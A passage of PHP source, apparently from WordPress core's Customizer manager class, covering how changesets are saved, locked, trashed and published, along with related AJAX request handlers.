wp_send_json_error( $response ); } else { wp_send_json_success( $response ); } } /** * Save the post for the loaded changeset. * * @since 4.7.0 * * @param array $args { * Args for changeset post. * * @type array $data Optional additional changeset data. Values will be merged on top of any existing post values. * @type string $status Post status. Optional. If supplied, the save will be transactional and a post revision will be allowed. * @type string $title Post title. Optional. * @type string $date_gmt Date in GMT. Optional. * @type int $user_id ID for user who is saving the changeset. Optional, defaults to the current user ID. * @type bool $starter_content Whether the data is starter content. If false (default), then $starter_content will be cleared for any $data being saved. * @type bool $autosave Whether this is a request to create an autosave revision. * } * * @return array|WP_Error Returns array on success and WP_Error with array data on error. */ function save_changeset_post( $args = array() ) { $args = array_merge( array( 'status' => null, 'title' => null, 'data' => array(), 'date_gmt' => null, 'user_id' => get_current_user_id(), 'starter_content' => false, 'autosave' => false, ), $args ); $changeset_post_id = $this->changeset_post_id(); $existing_changeset_data = array(); if ( $changeset_post_id ) { $existing_status = get_post_status( $changeset_post_id ); if ( 'publish' === $existing_status || 'trash' === $existing_status ) { return new WP_Error( 'changeset_already_published', __( 'The previous set of changes has already been published. Please try saving your current set of changes again.' ), array( 'next_changeset_uuid' => wp_generate_uuid4(), ) ); } $existing_changeset_data = $this->get_changeset_post_data( $changeset_post_id ); if ( is_wp_error( $existing_changeset_data ) ) { return $existing_changeset_data; } } // Fail if attempting to publish but publish hook is missing. if ( 'publish' === $args['status'] && false === has_action( 'transition_post_status', '_wp_customize_publish_changeset' ) ) { return new WP_Error( 'missing_publish_callback' ); } // Validate date. $now = gmdate( 'Y-m-d H:i:59' ); if ( $args['date_gmt'] ) { $is_future_dated = ( mysql2date( 'U', $args['date_gmt'], false ) > mysql2date( 'U', $now, false ) ); if ( ! $is_future_dated ) { return new WP_Error( 'not_future_date', __( 'You must supply a future date to schedule.' ) ); // Only future dates are allowed. } if ( ! $this->is_theme_active() && ( 'future' === $args['status'] || $is_future_dated ) ) { return new WP_Error( 'cannot_schedule_theme_switches' ); // This should be allowed in the future, when theme is a regular setting. } $will_remain_auto_draft = ( ! $args['status'] && ( ! $changeset_post_id || 'auto-draft' === get_post_status( $changeset_post_id ) ) ); if ( $will_remain_auto_draft ) { return new WP_Error( 'cannot_supply_date_for_auto_draft_changeset' ); } } elseif ( $changeset_post_id && 'future' === $args['status'] ) { // Fail if the new status is future but the existing post's date is not in the future. $changeset_post = get_post( $changeset_post_id ); if ( mysql2date( 'U', $changeset_post->post_date_gmt, false ) <= mysql2date( 'U', $now, false ) ) { return new WP_Error( 'not_future_date', __( 'You must supply a future date to schedule.' ) ); } } if ( ! empty( $is_future_dated ) && 'publish' === $args['status'] ) { $args['status'] = 'future'; } // Validate autosave param. See _wp_post_revision_fields() for why these fields are disallowed. if ( $args['autosave'] ) { if ( $args['date_gmt'] ) { return new WP_Error( 'illegal_autosave_with_date_gmt' ); } elseif ( $args['status'] ) { return new WP_Error( 'illegal_autosave_with_status' ); } elseif ( $args['user_id'] && get_current_user_id() !== $args['user_id'] ) { return new WP_Error( 'illegal_autosave_with_non_current_user' ); } } // The request was made via wp.customize.previewer.save(). $update_transactionally = (bool) $args['status']; $allow_revision = (bool) $args['status']; // Amend post values with any supplied data. foreach ( $args['data'] as $setting_id => $setting_params ) { if ( is_array( $setting_params ) && array_key_exists( 'value', $setting_params ) ) { $this->set_post_value( $setting_id, $setting_params['value'] ); // Add to post values so that they can be validated and sanitized. } } // Note that in addition to post data, this will include any stashed theme mods. $post_values = $this->unsanitized_post_values( array( 'exclude_changeset' => true, 'exclude_post_data' => false, ) ); $this->add_dynamic_settings( array_keys( $post_values ) ); // Ensure settings get created even if they lack an input value. /* * Get list of IDs for settings that have values different from what is currently * saved in the changeset. By skipping any values that are already the same, the * subset of changed settings can be passed into validate_setting_values to prevent * an underprivileged modifying a single setting for which they have the capability * from being blocked from saving. This also prevents a user from touching of the * previous saved settings and overriding the associated user_id if they made no change. */ $changed_setting_ids = array(); foreach ( $post_values as $setting_id => $setting_value ) { $setting = $this->get_setting( $setting_id ); if ( $setting && 'theme_mod' === $setting->type ) { $prefixed_setting_id = $this->get_stylesheet() . '::' . $setting->id; } else { $prefixed_setting_id = $setting_id; } $is_value_changed = ( ! isset( $existing_changeset_data[ $prefixed_setting_id ] ) || ! array_key_exists( 'value', $existing_changeset_data[ $prefixed_setting_id ] ) || $existing_changeset_data[ $prefixed_setting_id ]['value'] !== $setting_value ); if ( $is_value_changed ) { $changed_setting_ids[] = $setting_id; } } /** * Fires before save validation happens. * * Plugins can add just-in-time {@see 'customize_validate_{$this->ID}'} filters * at this point to catch any settings registered after `customize_register`. * The dynamic portion of the hook name, `$this->ID` refers to the setting ID. * * @since 4.6.0 * * @param WP_Customize_Manager $this WP_Customize_Manager instance. */ do_action( 'customize_save_validation_before', $this ); // Validate settings. $validated_values = array_merge( array_fill_keys( array_keys( $args['data'] ), null ), // Make sure existence/capability checks are done on value-less setting updates. $post_values ); $setting_validities = $this->validate_setting_values( $validated_values, array( 'validate_capability' => true, 'validate_existence' => true, ) ); $invalid_setting_count = count( array_filter( $setting_validities, 'is_wp_error' ) ); /* * Short-circuit if there are invalid settings the update is transactional. * A changeset update is transactional when a status is supplied in the request. */ if ( $update_transactionally && $invalid_setting_count > 0 ) { $response = array( 'setting_validities' => $setting_validities, /* translators: %s: Number of invalid settings. */ 'message' => sprintf( _n( 'Unable to save due to %s invalid setting.', 'Unable to save due to %s invalid settings.', $invalid_setting_count ), number_format_i18n( $invalid_setting_count ) ), ); return new WP_Error( 'transaction_fail', '', $response ); } // Obtain/merge data for changeset. $original_changeset_data = $this->get_changeset_post_data( $changeset_post_id ); $data = $original_changeset_data; if ( is_wp_error( $data ) ) { $data = array(); } // Ensure that all post values are included in the changeset data. foreach ( $post_values as $setting_id => $post_value ) { if ( ! isset( $args['data'][ $setting_id ] ) ) { $args['data'][ $setting_id ] = array(); } if ( ! isset( $args['data'][ $setting_id ]['value'] ) ) { $args['data'][ $setting_id ]['value'] = $post_value; } } foreach ( $args['data'] as $setting_id => $setting_params ) { $setting = $this->get_setting( $setting_id ); if ( ! $setting || ! $setting->check_capabilities() ) { continue; } // Skip updating changeset for invalid setting values. if ( isset( $setting_validities[ $setting_id ] ) && is_wp_error( $setting_validities[ $setting_id ] ) ) { continue; } $changeset_setting_id = $setting_id; if ( 'theme_mod' === $setting->type ) { $changeset_setting_id = sprintf( '%s::%s', $this->get_stylesheet(), $setting_id ); } if ( null === $setting_params ) { // Remove setting from changeset entirely. unset( $data[ $changeset_setting_id ] ); } else { if ( ! isset( $data[ $changeset_setting_id ] ) ) { $data[ $changeset_setting_id ] = array(); } // Merge any additional setting params that have been supplied with the existing params. $merged_setting_params = array_merge( $data[ $changeset_setting_id ], $setting_params ); // Skip updating setting params if unchanged (ensuring the user_id is not overwritten). if ( $data[ $changeset_setting_id ] === $merged_setting_params ) { continue; } $data[ $changeset_setting_id ] = array_merge( $merged_setting_params, array( 'type' => $setting->type, 'user_id' => $args['user_id'], 'date_modified_gmt' => current_time( 'mysql', true ), ) ); // Clear starter_content flag in data if changeset is not explicitly being updated for starter content. if ( empty( $args['starter_content'] ) ) { unset( $data[ $changeset_setting_id ]['starter_content'] ); } } } $filter_context = array( 'uuid' => $this->changeset_uuid(), 'title' => $args['title'], 'status' => $args['status'], 'date_gmt' => $args['date_gmt'], 'post_id' => $changeset_post_id, 'previous_data' => is_wp_error( $original_changeset_data ) ? array() : $original_changeset_data, 'manager' => $this, ); /** * Filters the settings' data that will be persisted into the changeset. * * Plugins may amend additional data (such as additional meta for settings) into the changeset with this filter. * * @since 4.7.0 * * @param array $data Updated changeset data, mapping setting IDs to arrays containing a $value item and optionally other metadata. * @param array $context { * Filter context. * * @type string $uuid Changeset UUID. * @type string $title Requested title for the changeset post. * @type string $status Requested status for the changeset post. * @type string $date_gmt Requested date for the changeset post in MySQL format and GMT timezone. * @type int|false $post_id Post ID for the changeset, or false if it doesn't exist yet. * @type array $previous_data Previous data contained in the changeset. * @type WP_Customize_Manager $manager Manager instance. * } */ $data = apply_filters( 'customize_changeset_save_data', $data, $filter_context ); // Switch theme if publishing changes now. if ( 'publish' === $args['status'] && ! $this->is_theme_active() ) { // Temporarily stop previewing the theme to allow switch_themes() to operate properly. $this->stop_previewing_theme(); switch_theme( $this->get_stylesheet() ); update_option( 'theme_switched_via_customizer', true ); $this->start_previewing_theme(); } // Gather the data for wp_insert_post()/wp_update_post(). $post_array = array( // JSON_UNESCAPED_SLASHES is only to improve readability as slashes needn't be escaped in storage. 'post_content' => wp_json_encode( $data, JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT ), ); if ( $args['title'] ) { $post_array['post_title'] = $args['title']; } if ( $changeset_post_id ) { $post_array['ID'] = $changeset_post_id; } else { $post_array['post_type'] = 'customize_changeset'; $post_array['post_name'] = $this->changeset_uuid(); $post_array['post_status'] = 'auto-draft'; } if ( $args['status'] ) { $post_array['post_status'] = $args['status']; } // Reset post date to now if we are publishing, otherwise pass post_date_gmt and translate for post_date. if ( 'publish' === $args['status'] ) { $post_array['post_date_gmt'] = '0000-00-00 00:00:00'; $post_array['post_date'] = '0000-00-00 00:00:00'; } elseif ( $args['date_gmt'] ) { $post_array['post_date_gmt'] = $args['date_gmt']; $post_array['post_date'] = get_date_from_gmt( $args['date_gmt'] ); } elseif ( $changeset_post_id && 'auto-draft' === get_post_status( $changeset_post_id ) ) { /* * Keep bumping the date for the auto-draft whenever it is modified; * this extends its life, preserving it from garbage-collection via * wp_delete_auto_drafts(). */ $post_array['post_date'] = current_time( 'mysql' ); $post_array['post_date_gmt'] = ''; } $this->store_changeset_revision = $allow_revision; add_filter( 'wp_save_post_revision_post_has_changed', array( $this, '_filter_revision_post_has_changed' ), 5, 3 ); /* * Update the changeset post. The publish_customize_changeset action will cause the settings in the * changeset to be saved via WP_Customize_Setting::save(). Updating a post with publish status will * trigger WP_Customize_Manager::publish_changeset_values(). */ add_filter( 'wp_insert_post_data', array( $this, 'preserve_insert_changeset_post_content' ), 5, 3 ); if ( $changeset_post_id ) { if ( $args['autosave'] && 'auto-draft' !== get_post_status( $changeset_post_id ) ) { // See _wp_translate_postdata() for why this is required as it will use the edit_post meta capability. add_filter( 'map_meta_cap', array( $this, 'grant_edit_post_capability_for_changeset' ), 10, 4 ); $post_array['post_ID'] = $post_array['ID']; $post_array['post_type'] = 'customize_changeset'; $r = wp_create_post_autosave( wp_slash( $post_array ) ); remove_filter( 'map_meta_cap', array( $this, 'grant_edit_post_capability_for_changeset' ), 10 ); } else { $post_array['edit_date'] = true; // Prevent date clearing. $r = wp_update_post( wp_slash( $post_array ), true ); // Delete autosave revision for user when the changeset is updated. if ( ! empty( $args['user_id'] ) ) { $autosave_draft = wp_get_post_autosave( $changeset_post_id, $args['user_id'] ); if ( $autosave_draft ) { wp_delete_post( $autosave_draft->ID, true ); } } } } else { $r = wp_insert_post( wp_slash( $post_array ), true ); if ( ! is_wp_error( $r ) ) { $this->_changeset_post_id = $r; // Update cached post ID for the loaded changeset. } } remove_filter( 'wp_insert_post_data', array( $this, 'preserve_insert_changeset_post_content' ), 5 ); $this->_changeset_data = null; // Reset so WP_Customize_Manager::changeset_data() will re-populate with updated contents. remove_filter( 'wp_save_post_revision_post_has_changed', array( $this, '_filter_revision_post_has_changed' ) ); $response = array( 'setting_validities' => $setting_validities, ); if ( is_wp_error( $r ) ) { $response['changeset_post_save_failure'] = $r->get_error_code(); return new WP_Error( 'changeset_post_save_failure', '', $response ); } return $response; } /** * Preserve the initial JSON post_content passed to save into the post. * * This is needed to prevent KSES and other {@see 'content_save_pre'} filters * from corrupting JSON data. * * Note that WP_Customize_Manager::validate_setting_values() have already * run on the setting values being serialized as JSON into the post content * so it is pre-sanitized. * * Also, the sanitization logic is re-run through the respective * WP_Customize_Setting::sanitize() method when being read out of the * changeset, via WP_Customize_Manager::post_value(), and this sanitized * value will also be sent into WP_Customize_Setting::update() for * persisting to the DB. * * Multiple users can collaborate on a single changeset, where one user may * have the unfiltered_html capability but another may not. A user with * unfiltered_html may add a script tag to some field which needs to be kept * intact even when another user updates the changeset to modify another field * when they do not have unfiltered_html. * * @since 5.4.1 * * @param array $data An array of slashed and processed post data. * @param array $postarr An array of sanitized (and slashed) but otherwise unmodified post data. * @param array $unsanitized_postarr An array of slashed yet *unsanitized* and unprocessed post data as originally passed to wp_insert_post(). * @return array Filtered post data. */ public function preserve_insert_changeset_post_content( $data, $postarr, $unsanitized_postarr ) { if ( isset( $data['post_type'] ) && isset( $unsanitized_postarr['post_content'] ) && 'customize_changeset' === $data['post_type'] || ( 'revision' === $data['post_type'] && ! empty( $data['post_parent'] ) && 'customize_changeset' === get_post_type( $data['post_parent'] ) ) ) { $data['post_content'] = $unsanitized_postarr['post_content']; } return $data; } /** * Trash or delete a changeset post. * * The following re-formulates the logic from `wp_trash_post()` as done in * `wp_publish_post()`. The reason for bypassing `wp_trash_post()` is that it * will mutate the the `post_content` and the `post_name` when they should be * untouched. * * @since 4.9.0 * * @see wp_trash_post() * @global wpdb $wpdb WordPress database abstraction object. * * @param int|WP_Post $post The changeset post. * @return mixed A WP_Post object for the trashed post or an empty value on failure. */ public function trash_changeset_post( $post ) { global $wpdb; $post = get_post( $post ); if ( ! ( $post instanceof WP_Post ) ) { return $post; } $post_id = $post->ID; if ( ! EMPTY_TRASH_DAYS ) { return wp_delete_post( $post_id, true ); } if ( 'trash' === get_post_status( $post ) ) { return false; } /** This filter is documented in wp-includes/post.php */ $check = apply_filters( 'pre_trash_post', null, $post ); if ( null !== $check ) { return $check; } /** This action is documented in wp-includes/post.php */ do_action( 'wp_trash_post', $post_id ); add_post_meta( $post_id, '_wp_trash_meta_status', $post->post_status ); add_post_meta( $post_id, '_wp_trash_meta_time', time() ); $old_status = $post->post_status; $new_status = 'trash'; $wpdb->update( $wpdb->posts, array( 'post_status' => $new_status ), array( 'ID' => $post->ID ) ); clean_post_cache( $post->ID ); $post->post_status = $new_status; wp_transition_post_status( $new_status, $old_status, $post ); /** This action is documented in wp-includes/post.php */ do_action( "edit_post_{$post->post_type}", $post->ID, $post ); /** This action is documented in wp-includes/post.php */ do_action( 'edit_post', $post->ID, $post ); /** This action is documented in wp-includes/post.php */ do_action( "save_post_{$post->post_type}", $post->ID, $post, true ); /** This action is documented in wp-includes/post.php */ do_action( 'save_post', $post->ID, $post, true ); /** This action is documented in wp-includes/post.php */ do_action( 'wp_insert_post', $post->ID, $post, true ); wp_after_insert_post( get_post( $post_id ), true, $post ); wp_trash_post_comments( $post_id ); /** This action is documented in wp-includes/post.php */ do_action( 'trashed_post', $post_id ); return $post; } /** * Handle request to trash a changeset. * * @since 4.9.0 */ public function handle_changeset_trash_request() { if ( ! is_user_logged_in() ) { wp_send_json_error( 'unauthenticated' ); } if ( ! $this->is_preview() ) { wp_send_json_error( 'not_preview' ); } if ( ! check_ajax_referer( 'trash_customize_changeset', 'nonce', false ) ) { wp_send_json_error( array( 'code' => 'invalid_nonce', 'message' => __( 'There was an authentication problem. Please reload and try again.' ), ) ); } $changeset_post_id = $this->changeset_post_id(); if ( ! $changeset_post_id ) { wp_send_json_error( array( 'message' => __( 'No changes saved yet, so there is nothing to trash.' ), 'code' => 'non_existent_changeset', ) ); return; } if ( $changeset_post_id ) { if ( ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->delete_post, $changeset_post_id ) ) { wp_send_json_error( array( 'code' => 'changeset_trash_unauthorized', 'message' => __( 'Unable to trash changes.' ), ) ); } $lock_user = (int) wp_check_post_lock( $changeset_post_id ); if ( $lock_user && get_current_user_id() !== $lock_user ) { wp_send_json_error( array( 'code' => 'changeset_locked', 'message' => __( 'Changeset is being edited by other user.' ), 'lockUser' => $this->get_lock_user_data( $lock_user ), ) ); } } if ( 'trash' === get_post_status( $changeset_post_id ) ) { wp_send_json_error( array( 'message' => __( 'Changes have already been trashed.' ), 'code' => 'changeset_already_trashed', ) ); return; } $r = $this->trash_changeset_post( $changeset_post_id ); if ( ! ( $r instanceof WP_Post ) ) { wp_send_json_error( array( 'code' => 'changeset_trash_failure', 'message' => __( 'Unable to trash changes.' ), ) ); } wp_send_json_success( array( 'message' => __( 'Changes trashed successfully.' ), ) ); } /** * Re-map 'edit_post' meta cap for a customize_changeset post to be the same as 'customize' maps. * * There is essentially a "meta meta" cap in play here, where 'edit_post' meta cap maps to * the 'customize' meta cap which then maps to 'edit_theme_options'. This is currently * required in core for `wp_create_post_autosave()` because it will call * `_wp_translate_postdata()` which in turn will check if a user can 'edit_post', but the * the caps for the customize_changeset post type are all mapping to the meta capability. * This should be able to be removed once #40922 is addressed in core. * * @since 4.9.0 * * @link https://core.trac.wordpress.org/ticket/40922 * @see WP_Customize_Manager::save_changeset_post() * @see _wp_translate_postdata() * * @param string[] $caps Array of the user's capabilities. * @param string $cap Capability name. * @param int $user_id The user ID. * @param array $args Adds the context to the cap. Typically the object ID. * @return array Capabilities. */ public function grant_edit_post_capability_for_changeset( $caps, $cap, $user_id, $args ) { if ( 'edit_post' === $cap && ! empty( $args[0] ) && 'customize_changeset' === get_post_type( $args[0] ) ) { $post_type_obj = get_post_type_object( 'customize_changeset' ); $caps = map_meta_cap( $post_type_obj->cap->$cap, $user_id ); } return $caps; } /** * Marks the changeset post as being currently edited by the current user. * * @since 4.9.0 * * @param int $changeset_post_id Changeset post ID. * @param bool $take_over Whether to take over the changeset. Default false. */ public function set_changeset_lock( $changeset_post_id, $take_over = false ) { if ( $changeset_post_id ) { $can_override = ! (bool) get_post_meta( $changeset_post_id, '_edit_lock', true ); if ( $take_over ) { $can_override = true; } if ( $can_override ) { $lock = sprintf( '%s:%s', time(), get_current_user_id() ); update_post_meta( $changeset_post_id, '_edit_lock', $lock ); } else { $this->refresh_changeset_lock( $changeset_post_id ); } } } /** * Refreshes changeset lock with the current time if current user edited the changeset before. * * @since 4.9.0 * * @param int $changeset_post_id Changeset post ID. */ public function refresh_changeset_lock( $changeset_post_id ) { if ( ! $changeset_post_id ) { return; } $lock = get_post_meta( $changeset_post_id, '_edit_lock', true ); $lock = explode( ':', $lock ); if ( $lock && ! empty( $lock[1] ) ) { $user_id = (int) $lock[1]; $current_user_id = get_current_user_id(); if ( $user_id === $current_user_id ) { $lock = sprintf( '%s:%s', time(), $user_id ); update_post_meta( $changeset_post_id, '_edit_lock', $lock ); } } } /** * Filters heartbeat settings for the Customizer. * * @since 4.9.0 * @param array $settings Current settings to filter. * @return array Heartbeat settings. */ public function add_customize_screen_to_heartbeat_settings( $settings ) { global $pagenow; if ( 'customize.php' === $pagenow ) { $settings['screenId'] = 'customize'; } return $settings; } /** * Get lock user data. * * @since 4.9.0 * * @param int $user_id User ID. * @return array|null User data formatted for client. */ protected function get_lock_user_data( $user_id ) { if ( ! $user_id ) { return null; } $lock_user = get_userdata( $user_id ); if ( ! $lock_user ) { return null; } return array( 'id' => $lock_user->ID, 'name' => $lock_user->display_name, 'avatar' => get_avatar_url( $lock_user->ID, array( 'size' => 128 ) ), ); } /** * Check locked changeset with heartbeat API. * * @since 4.9.0 * * @param array $response The Heartbeat response. * @param array $data The $_POST data sent. * @param string $screen_id The screen id. * @return array The Heartbeat response. */ public function check_changeset_lock_with_heartbeat( $response, $data, $screen_id ) { if ( isset( $data['changeset_uuid'] ) ) { $changeset_post_id = $this->find_changeset_post_id( $data['changeset_uuid'] ); } else { $changeset_post_id = $this->changeset_post_id(); } if ( array_key_exists( 'check_changeset_lock', $data ) && 'customize' === $screen_id && $changeset_post_id && current_user_can( get_post_type_object( 'customize_changeset' )->cap->edit_post, $changeset_post_id ) ) { $lock_user_id = wp_check_post_lock( $changeset_post_id ); if ( $lock_user_id ) { $response['customize_changeset_lock_user'] = $this->get_lock_user_data( $lock_user_id ); } else { // Refreshing time will ensure that the user is sitting on customizer and has not closed the customizer tab. $this->refresh_changeset_lock( $changeset_post_id ); } } return $response; } /** * Removes changeset lock when take over request is sent via Ajax. * * @since 4.9.0 */ public function handle_override_changeset_lock_request() { if ( ! $this->is_preview() ) { wp_send_json_error( 'not_preview', 400 ); } if ( ! check_ajax_referer( 'customize_override_changeset_lock', 'nonce', false ) ) { wp_send_json_error( array( 'code' => 'invalid_nonce', 'message' => __( 'Security check failed.' ), ) ); } $changeset_post_id = $this->changeset_post_id(); if ( empty( $changeset_post_id ) ) { wp_send_json_error( array( 'code' => 'no_changeset_found_to_take_over', 'message' => __( 'No changeset found to take over' ), ) ); } if ( ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->edit_post, $changeset_post_id ) ) { wp_send_json_error( array( 'code' => 'cannot_remove_changeset_lock', 'message' => __( 'Sorry, you are not allowed to take over.' ), ) ); } $this->set_changeset_lock( $changeset_post_id, true ); wp_send_json_success( 'changeset_taken_over' ); } /** * Whether a changeset revision should be made. * * @since 4.7.0 * @var bool */ protected $store_changeset_revision; /** * Filters whether a changeset has changed to create a new revision. * * Note that this will not be called while a changeset post remains in auto-draft status. * * @since 4.7.0 * * @param bool $post_has_changed Whether the post has changed. * @param WP_Post $last_revision The last revision post object. * @param WP_Post $post The post object. * @return bool Whether a revision should be made. */ public function _filter_revision_post_has_changed( $post_has_changed, $last_revision, $post ) { unset( $last_revision ); if ( 'customize_changeset' === $post->post_type ) { $post_has_changed = $this->store_changeset_revision; } return $post_has_changed; } /** * Publish changeset values. * * This will the values contained in a changeset, even changesets that do not * correspond to current manager instance. This is called by * `_wp_customize_publish_changeset()` when a customize_changeset post is * transitioned to the `publish` status. As such, this method should not be * called directly and instead `wp_publish_post()` should be used. * * Please note that if the settings in the changeset are for a non-activated * theme, the theme must first be switched to (via `switch_theme()`) before * invoking this method. * * @since 4.7.0 * * @see _wp_customize_publish_changeset() * @global wpdb $wpdb WordPress database abstraction object. * * @param int $changeset_post_id ID for customize_changeset post. Defaults to the changeset for the current manager instance. * @return true|WP_Error True or error info. */ public function _publish_changeset_values( $changeset_post_id ) { global $wpdb; $publishing_changeset_data = $this->get_changeset_post_data( $changeset_post_id ); if ( is_wp_error( $publishing_changeset_data ) ) { return $publishing_changeset_data; } $changeset_post = get_post( $changeset_post_id ); /* * Temporarily override the changeset context so that it will be read * in calls to unsanitized_post_values() and so that it will be available * on the $wp_customize object passed to hooks during the save logic. */ $previous_changeset_post_id = $this->_changeset_post_id; $this->_changeset_post_id = $changeset_post_id; $previous_changeset_uuid = $this->_changeset_uuid; $this->_changeset_uuid = $changeset_post->post_name; $previous_changeset_data = $this->_changeset_data; $this->_changeset_data = $publishing_changeset_data; // Parse changeset data to identify theme mod settings and user IDs associated with settings to be saved. $setting_user_ids = array(); $theme_mod_settings = array(); $namespace_pattern = '/^(?P<stylesheet>.+?)::(?P<setting_id>.+)$/'; $matches = array(); foreach ( $this->_changeset_data as $raw_setting_id => $setting_params ) { $actual_setting_id = null; $is_theme_mod_setting = ( isset( $setting_params['value'] ) && isset( $setting_params['type'] ) && 'theme_mod' === $setting_params['type'] && preg_match( $namespace_pattern, $raw_setting_id, $matches ) ); if ( $is_theme_mod_setting ) { if ( ! isset( $theme_mod_settings[ $matches['stylesheet'] ] ) ) { $theme_mod_settings[ $matches['stylesheet'] ] = array(); } $theme_mod_settings[ $matches['stylesheet'] ][ $matches['setting_id'] ] = $setting_params; if ( $this->get_stylesheet() === $matches['stylesheet'] ) { $actual_setting_id = $matches['setting_id']; } } else { $actual_setting_id = $raw_setting_id; } // Keep track of the user IDs for settings actually for this theme. if ( $actual_setting_id && isset( $setting_params['user_id'] ) ) { $setting_user_ids[ $actual_setting_id ] = $setting_params['user_id']; } } $changeset_setting_values = $this->unsanitized_post_values( array( 'exclude_post_data' => true, 'exclude_changeset' => false, ) ); $changeset_setting_ids = array_keys( $changeset_setting_values ); $this->add_dynamic_settings( $changeset_setting_ids ); /** * Fires once the theme has switched in the Customizer, but before settings * have been saved. * * @since 3.4.0 * * @param WP_Customize_Manager $manager WP_Customize_Manager instance. */ do_action( 'customize_save', $this ); /* * Ensure that all settings will allow themselves to be saved. Note that * this is safe because the setting would have checked the capability * when the setting value was written into the changeset. So this is why * an additional capability check is not required here. */ $original_setting_capabilities = array(); foreach ( $changeset_setting_ids as $setting_id ) { $setting = $this->get_setting( $setting_id ); if ( $setting && ! isset( $setting_user_ids[ $setting_id ] ) ) { $original_setting_capabilities[ $setting->id ] = $setting->capability; $setting->capability = 'exist'; } } $original_user_id = get_current_user_id(); foreach ( $changeset_setting_ids as $setting_id ) { $setting = $this->get_setting( $setting_id ); if ( $setting ) { /* * Set the current user to match the user who saved the value into * the changeset so that any filters that apply during the save * process will respect the original user's capabilities. This * will ensure, for example, that KSES won't strip unsafe HTML * when a scheduled changeset publishes via WP Cron. */ if ( isset( $setting_user_ids[ $setting_id ] ) ) { wp_set_current_user( $setting_user_ids[ $setting_id ] ); } else { wp_set_current_user( $original_user_id ); } $setting->save(); } } wp_set_current_user( $original_user_id ); // Update the stashed theme mod settings, removing the active theme's stashed settings, if activated. if ( did_action( 'switch_theme' ) ) { $other_theme_mod_settings = $theme_mod_settings; unset( $other_theme_mod_settings[ $this->get_stylesheet() ] ); $this->update_stashed_theme_mod_settings( $other_theme_mod_settings ); } /** * Fires after Customize settings have been saved. * * @since 3.6.0 * * @param WP_Customize_Manager $manager WP_Customize_Manager instance. */ do_action( 'customize_save_after', $this ); // Restore original capabilities. foreach ( $original_setting_capabilities as $setting_id => $capability ) { $setting = $this->get_setting( $setting_id ); if ( $setting ) { $setting->capability = $capability; } } // Restore original changeset data. $this->_changeset_data = $previous_changeset_data; $this->_changeset_post_id = $previous_changeset_post_id; $this->_changeset_uuid = $previous_changeset_uuid; /* * Convert all autosave revisions into their own auto-drafts so that users can be prompted to * restore them when a changeset is published, but they had been locked out from including * their changes in the changeset. */ $revisions = wp_get_post_revisions( $changeset_post_id, array( 'check_enabled' => false ) ); foreach ( $revisions as $revision ) { if ( false !== strpos( $revision->post_name, "{$changeset_post_id}-autosave" ) ) { $wpdb->update( $wpdb->posts, array( 'post_status' => 'auto-draft', 'post_type' => 'customize_changeset', 'post_name' => wp_generate_uuid4(), 'post_parent' => 0, ), array( 'ID' => $revision->ID, ) ); clean_post_cache( $revision->ID ); } } return true; } /** * Update stashed theme mod settings. * * @since 4.7.0 * * @param array $inactive_theme_mod_settings Mapping of stylesheet to arrays of theme mod settings. * @return array|false Returns array of updated stashed theme mods or false if the update failed or there were no changes. */ protected function update_stashed_theme_mod_settings( $inactive_theme_mod_settings ) { $stashed_theme_mod_settings = get_option( 'customize_stashed_theme_mods' ); if ( empty( $stashed_theme_mod_settings ) ) { $stashed_theme_mod_settings = array(); } // Delete any stashed theme mods for the active theme since they would have been loaded and saved upon activation. unset( $stashed_theme_mod_settings[ $this->get_stylesheet() ] ); // Merge inactive theme mods with the stashed theme mod settings. foreach ( $inactive_theme_mod_settings as $stylesheet => $theme_mod_settings ) { if ( ! isset( $stashed_theme_mod_settings[ $stylesheet ] ) ) { $stashed_theme_mod_settings[ $stylesheet ] = array(); } $stashed_theme_mod_settings[ $stylesheet ] = array_merge( $stashed_theme_mod_settings[ $stylesheet ], $theme_mod_settings ); } $autoload = false; $result = update_option( 'customize_stashed_theme_mods', $stashed_theme_mod_settings, $autoload ); if ( ! $result ) { return false; } return $stashed_theme_mod_settings; } /** * Refresh nonces for the current preview. * * @since 4.2.0 */ public function refresh_nonces() { if ( ! $this->is_preview() ) { wp_send_json_error( 'not_preview' ); } wp_send_json_success( $this->get_nonces() ); } /** * Delete a given auto-draft changeset or the autosave revision for a given changeset or delete changeset lock. * * @since 4.9.0 */ public function handle_dismiss_autosave_or_lock_request() { // Calls to dismiss_user_auto_draft_changesets() and wp_get_post_autosave() require non-zero get_current_user_id(). if ( ! is_user_logged_in() ) { wp_send_json_error( 'unauthenticated', 401 ); } if ( ! $this->is_preview() ) { wp_send_json_error( 'not_preview', 400 ); } if ( ! check_ajax_referer( 'customize_dismiss_autosave_or_lock', 'nonce', false ) ) { wp_send_json_error( 'invalid_nonce', 403 ); } $changeset_post_id = $this->changeset_post_id(); $dismiss_lock = ! empty( $_POST['dismiss_lock'] ); $dismiss_autosave = ! empty( $_POST['dismiss_autosave'] ); if ( $dismiss_lock ) { if ( empty( $changeset_post_id ) && ! $dismiss_autosave ) { wp_send_json_error( 'no_changeset_to_dismiss_lock', 404 ); } if ( ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->edit_post, $changeset_post_id ) && ! $dismiss_autosave ) { wp_send_json_error( 'cannot_remove_changeset_lock', 403 ); } delete_post_meta( $changeset_post_id, '_edit_lock' ); if ( ! $dismiss_autosave ) { wp_send_json_success( 'changeset_lock_dismissed' ); } } if ( $dismiss_autosave ) { if ( empty( $changeset_post_id ) || 'auto-draft' === get_post_status( $changeset_post_id ) ) { $dismissed = $this->dismiss_user_auto_draft_changesets(); if ( $dismissed > 0 ) { wp_send_json_success( 'auto_draft_dismissed' ); } else { wp_send_json_error( 'no_auto_draft_to_delete', 404 ); } } else { $revision = wp_get_post_autosave( $changeset_post_id, get_current_user_id() ); if ( $revision ) { if ( ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->delete_post, $changeset_post_id ) ) { wp_send_json_error( 'cannot_delete_autosave_revision', 403 ); } if ( ! wp_delete_post( $revision->ID, true ) ) { wp_send_json_error( 'autosave_revision_deletion_failure', 500 ); } else { wp_send_json_success( 'autosave_revision_deleted' ); } } else { wp_send_json_error( 'no_autosave_revision_to_delete', 404 ); } } } wp_send_json_error( 'unknown_error', 500 ); } /** * Add a customize setting. * * @since 3.4.0 * @since 4.5.0 Return added WP_Customize_Setting instance. * * @see WP_Customize_Setting::__construct() * @link https://developer.wordpress.org/themes/customize-api * * @param WP_Customize_Setting|string $id Customize Setting object, or ID. * @param array $args Optional. Array of properties for the new Setting object. 